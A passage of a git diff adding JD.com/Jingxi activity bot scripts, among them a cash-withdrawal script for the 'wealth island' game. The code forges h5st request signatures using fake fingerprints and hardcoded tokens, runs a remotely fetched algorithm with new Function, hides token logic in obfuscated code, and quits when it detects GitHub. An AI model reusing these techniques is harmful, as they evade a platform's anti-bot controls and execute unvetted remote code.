Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfdtx.js b/backUp/jd_cfdtx.js new file mode 100644 index 0000000..4559448 --- /dev/null +++ b/backUp/jd_cfdtx.js @@ -0,0 +1,602 @@ +/* +京喜财富岛提现 +cron 59 11,12,23 * * * jd_cfdtx.js +更新时间:2021-7-20 +活动入口:京喜APP-我的-京喜财富岛提现 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛提现 +59 11,12,23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js, tag=京喜财富岛提现, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "59 11,12,23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js,tag=京喜财富岛提现 + +===============Surge================= +京喜财富岛提现 = type=cron,cronexp="59 11,12,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js + +============小火箭========= +京喜财富岛提现 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js, cronexpr="59 11,12,23 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = 